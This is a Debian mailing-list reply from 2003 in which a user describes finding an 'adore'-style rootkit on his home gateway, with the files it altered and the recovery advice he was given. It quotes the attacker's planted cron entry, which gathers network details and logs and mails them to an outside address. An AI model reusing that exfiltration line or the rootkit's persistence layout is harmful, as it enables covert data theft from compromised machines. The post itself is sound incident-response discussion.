On Mon, Dec 22, 2003 at 04:29:48AM -0800, Karsten M. Self wrote: > on Fri, Dec 19, 2003 at 05:25:13PM +1100, Patrick Lesslie wrote: > > On Fri, Dec 19, 2003 at 02:12:48PM +1100, Patrick Lesslie wrote: > > unable to make backup link of `./bin/login' before installing new version: > > Operation not permitted > > Errors were encountered while processing: > > /var/cache/apt/archives/login_1%3a4.0.3-12_i386.deb > > E: Sub-process /usr/bin/dpkg returned an error code (1) > > > > I'm root, and I'm not sure why this is failing. > > I smell a system compromise.
You smell correctly. I discovered it shortly after Kent's post, when my old woody chkrootkit found suspicious files in /lib/security/.config/. It turned out to be (a variant of perhaps) the "adore" rootkit. I don't know how they got in, there weren't old enough logs, and perhaps some were removed, but let's just say security wasn't "stellar". It had been compromised for 73 days before I got around to fixing what I thought was just a bug in the virtual console login. It was a home gateway, and a desktop with heaps of packages. > First try 'lsattr /bin/login'. Check that the partition is mounted > writable. # ls -l /old/bin/login suSiadAc------ /old/bin/login # ls -l /bin/login -------------- /bin/login > Look at your process table -- 'cd /proc; echo *' or 'cd /proc; ls <tab>' > should show you what's available. Treat with suspicion any process IDs > which persistantly appear in output of one or the other of those > actions, but not in 'ps ux' output. > > Better: Immediately disconnect your system from network and boot known > good media: a rescue disk, LNX-BBC, Damn Small Linux, Knoppix, > tomsrtbt, etc. Compare /bin/login vs. md5sum from > /var/lib/dpkg/info/login.md5sums. It was empty, so the sums probably would not match :) > http://www.wiggy.net/debian/developer-securing/ Thanks for those good tips. We found some compromised files by modification date: /bin/login /lib/libext-2.so.7 ("dbx7If0tG/8ZM") /etc/ld.so.hash ("dbx7If0tG/8ZM") /usr/include/hosts.h ("3 4784\n4 4784") /etc/shadow- /var/spool/cron/crontabs/operator /lib/security/.config/ssh/ssh_random_seed /lib/security/.config/ssh/sshd_config /lib/security/.config/ssh/ssh_host_key.pub (a key for "[EMAIL PROTECTED]") /lib/security/.config/sshd /usr/sbin/xntps /var/tmp/.../s /var/tmp/.../apal/samba /var/tmp/.../apal/scan The first four files had modified attributes. The last five were binaries. The kit apparently enables a second ssh server on a high port like 15000, with public key authentication. My favourite file was the last one, which contained this cron entry: # DO NOT EDIT THIS FILE - edit the master and reinstall. # (crontab-entry installed on Thu Oct 9 09:36:03 2003) # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $) 0 0 1 * * /sbin/ifconfig |grep inet >/tmp/.log 2>/dev/null; /bin/hostname -f >>/tmp/.log 2>/dev/null; /usr/local/games/banner /usr/local/games/tcp.log >>/tmp/.log 2>/dev/null; cat /tmp/.log|mail -s 'tcp.log' [EMAIL PROTECTED] >/dev/null 2>&1; rm -f /tmp/.log >/dev/null 2>&1 So much for me hoping that our dynamic IP would have helped ;-) So, I've reinstalled on another partition, and put a gateway in between, and I've learned some lessons too. Patrick -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
